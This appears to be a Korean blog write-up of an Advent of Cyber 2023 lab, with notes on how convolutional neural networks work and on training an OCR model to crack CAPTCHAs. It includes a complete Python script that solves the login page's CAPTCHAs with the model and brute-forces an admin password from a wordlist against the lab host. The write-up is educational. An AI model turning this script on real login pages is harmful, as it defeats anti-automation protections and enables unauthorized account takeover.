선릉역 1번 출구

[adventofcyber2023] - Day_16_Machine learning Can't CAPTCHA this Machine! 본문

Project/Program

[adventofcyber2023] - Day_16_Machine learning Can't CAPTCHA this Machine!

choideu 2023. 12. 18. 21:17

Story: McGreedy는 비밀번호를 변경해 HQ 관리 패널에서 McSkidy 계정을 잠그고 McSkidy가 해킹 수행하는 것을 좀 더 어렵게 하기 위해 CAPTCHA를 사용하도록 관리자 패널 로그인 설정을 변경함

 

목표: 신경망 구조, 컨볼루션 신경망은 어떻게 작동하는지 이해하기, 광학 문자 인식을 위한 신경망 사용해보기, 레드팀 도구에 신경망 도입하기

 

1. 컨볼루션 신경망

- CNN은 신경망을 훈련하는 데 사용할 수 있는 특징을 추출하는 기능을 갖춘 ML 구조임

- CNN은 단순히 특징 추출 과정을 네트워크 자체의 일부로 가지고 있는 일반적인 신경망

- 세 가지 주요 구성 요소

  • Feature extraction
  • fully connected layers
  • classification

2. Feature extraction

- CNN은 이미지를 분류하는 데 자주 사용됨

- 거의 모든 데이터 유형에 사용할 수 있지만, 이번 chapter에서는 captcha에 적용할 것임

- 컴퓨터는 이미를 2D 픽셀로 인식하는데, 픽셀은 이미지에서 측정할 수 있는 가장 작은 영역임

- 픽셀 값에 사용되는 두가지 형식

  • RGB : 0~255까지 세 숫자로 표현되며, 이 세 숫자는 빨간색, 파란색, 녹색 색상의 강도를 나타냄
  • Greyscale : 0~255까지 단일 숫자로 표현되며, 0은 완전히 검은색을 255는 픽셀이 완전히 흰색임을 의미함

3. Convolution

- CNN의 특징 추출의 컨볼루션 단계에서 입력 크기를 줄이기 위해(요약하기 위해) 컨볼루션을 수행함

- 전체 이미지에서 커널 매트릭스를 이동해 요약을 계산함

- 커널 매트릭스 : 이미지의 위치를 알려주는 더 작은 2D 배열로 이미지의 높이와 너비를 따라 이동하여 요약 이미지를 생성함

 

4. Pooling

- 컨볼루션과 유사하게 통계적 방법을 사용해 데이터를 추가로 요약하는 것을 목표로 함

 

5. Fully Connected layer

- 마지막 풀링 레이어의 요약 조각을 가져와 이를 히든 레이어에서 실행한 다음 마지막으로 출력을 제공하는 간단한 신경망을 만들고 이를 CNN의 fully connected layer라고 부름

 

6. Classification

- Fully connected layer의 출력 레이어

 

7. CAPTCHA 크래킹

1) 레이블이 지정된 데이터를 생성할 수 있도록 캡차 수집

2) 지도 학습 모델에서 사용할 캡차 레이블 지정

3) 캡차 cracking 훈련 

4) 캡차 cracking 훈련 테스트

//1~4 생략

- aocr의 출력

  • loss : CNN의 예측 오류로, 값이 0에 가까울수록 예측 오류가 작음. 처음부터 훈련 시작시 네트워크가 훈련될 때까지 처음 몇 라운드동안 손실 값은 엄청나게 큼
  • perplexity : CNN이 예측하는 것이 얼마나 불확실한지를 나타냄. 값이 1에 가까울수록 CNN은 자신의 예측이 정확하다고 판단함. 1.005 미만의 값은 overfitting된 CNN으로 간주됨

5) 훈련된 CNN을 통해 문제 해결

6) 캡차를 수신해 전달하여 해결할 수 있는 brute force 스크립트를 생성하고 실행한 다음 brute force 공격 수행

#Import libraries
import requests
import base64
import json
from bs4 import BeautifulSoup

username = "admin"
passwords = []

#URLs for our requests
website_url = "http://hqadmin.thm:8000"
model_url = "http://localhost:8501/v1/models/ocr:predict"

#Load in the passwords for brute forcing
with open("passwords.txt", "r") as wordlist:
    lines = wordlist.readlines()
    for line in lines:
        passwords.append(line.replace("\n",""))


access_granted = False
count = 0

#Run the brute force attack until we are out of passwords or have gained access
while(access_granted == False and count < len(passwords)):
    #This will run a brute force for each password
    password = passwords[count]

    #First, we connect to the webapp so we can get the CAPTCHA. We will use a session so cookies are taken care of for us
    sess = requests.session()
    r = sess.get(website_url)
    
    #Use soup to parse the HTML and extract the CAPTCHA image
    soup = BeautifulSoup(r.content, 'html.parser')
    img = soup.find("img")    
    encoded_image = img['src'].split(" ")[1]
    
    #Build the JSON request to send to the CAPTCHA predictor
    model_data = {
        'signature_name' : 'serving_default',
        'inputs' : {'input' : {'b64' : encoded_image} }
        }
        
    #Send the CAPTCHA prediction request and load the response
    r = requests.post(model_url, json=model_data)
    prediction = r.json()
    probability = prediction["outputs"]["probability"]
    answer = prediction["outputs"]["output"]

    #We can increase our guessing accuracy by only submitting the answer if we are more than 90% sure
    if (probability < 0.90):
        #If lower than 90%, no submission of CAPTCHA
        print ("[-] Prediction probability too low, not submitting CAPTCHA")
        continue

    #Otherwise, we are good to go with our brute forcer
    #Build the POST data for our brute force attempt
    website_data = {
            'username' : username,
            'password' : password,
            'captcha' : answer,
            'submit' : "Submit+Query"
            }

    #Submit our brute force attack
    r = sess.post(website_url, data=website_data)

    #Read the response and interpret the results of the brute force attempt
    response = r.text

    #If the response tells us that we submitted the wrong CAPTCHA, we have to try again with this password
    if ("Incorrect CAPTCHA value supplied" in response):
        print ("[-] Incorrect CAPTCHA value was supplied. We will resubmit this password")
        continue
    #If the response tells us that we submitted the wrong password, we can try with the next password
    elif ("Incorrect Username or Password" in response):
        print ("[-] Invalid credential pair -- Username: " + username + " Password: " + password)
        count += 1
    #Otherwise, we have found the correct password!
    else:
        print ("[+] Access Granted!! -- Username: " + username + " Password: " + password)
        access_granted = True
  1. 사용할 라이브러리 로드
  2. 무차별 대입 공격에 사용될 비밀번호 목록 로드
  3. 루프에서 다음 단계로 구성된 무차별 대입 공격 수행
    1. 쿠키 값과 CAPTCHA 이미지를 얻기위해 본사 관리 포털에 요청
    2. 호스팅된 CNN 모델에 CAPTCHA 이미지 제출
    3. CNN 모델의 예측 정확도가 CAPTCHA 시도를 제출할 만큼 충분히 높은지 확인
    4. 사용자 이름, 비밀번호 및 CAPTCHA 시도와 함께 HQ 관리 포털에 무차별 대입 요청을 제출
    5. 본사 관리 포털의 응답을 읽고 다음에 수행할 작업을 결정

 

+ challenge

Comments